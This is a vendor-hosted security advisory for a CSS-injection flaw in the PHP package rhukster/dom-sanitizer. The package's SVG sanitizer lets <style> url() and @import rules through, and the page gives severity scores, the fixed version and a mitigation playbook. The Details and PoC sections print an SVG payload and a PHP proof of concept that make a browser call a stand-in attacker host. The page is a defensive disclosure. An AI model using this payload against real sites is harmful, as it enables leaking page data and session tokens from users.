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GHSA-93vf-569f-22cq rhukster/dom-sanitizer

MEDIUMFix: rhukster/dom-sanitizer@49a9804

GHSA-93vf-569f-22cq is a medium-severity (CVSS 4.7) Cross-site Scripting (XSS) vulnerability in rhukster/dom-sanitizer. A fix is available for rhukster/dom-sanitizer — see the affected versions and patch details below.

rhukster/dom-sanitizer: SVG <style> tag allows CSS injection via unfiltered url() and @import directives

Also known asCVE-2026-40301
Published
Apr 10, 2026
Updated
May 5, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-93vf-569f-22cq.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs20th percentile — riskier than 20% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-93vf-569f-22cq plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘rhukster/dom-sanitizer

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.

Details

In src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of <style> elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.

Vulnerable code (src/DOMSanitizer.php, line 31):

'svg' => ['style', 'path', 'rect', 'circle', ...],

The following payload survives sanitize() intact:

<svg xmlns="http://www.w3.org/2000/svg">
  <style>* { background: url(https://attacker.example/collect); }</style>
</svg>

PoC

<?php
require 'vendor/autoload.php';
use Rhukster\DomSanitizer\DOMSanitizer;

$svg = '<svg xmlns="http://www.w3.org/2000/svg"><style>* { background: url(https://attacker.example/collect); }</style></svg>';
$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);
$output = $sanitizer->sanitize($svg);
echo $output; // <style> with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)

Render the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.

Impact

Any application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistrhukster/dom-sanitizerall versions1.0.10composer require rhukster/dom-sanitizer:^1.0.10

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for rhukster/dom-sanitizer, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update rhukster/dom-sanitizer to 1.0.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-93vf-569f-22cq is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-93vf-569f-22cq can be triaged on real exposure rather than presence alone.

Tailored to GHSA-93vf-569f-22cq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered. ### Details In src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of <style> elements is never examined. Because CSS rules live in text nodes
O3 Security · Impact-Aware SCA

Is GHSA-93vf-569f-22cq in your dependencies?

O3 Security finds GHSA-93vf-569f-22cq across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-93vf-569f-22cq: rhukster/dom-sanitizer | O3 Security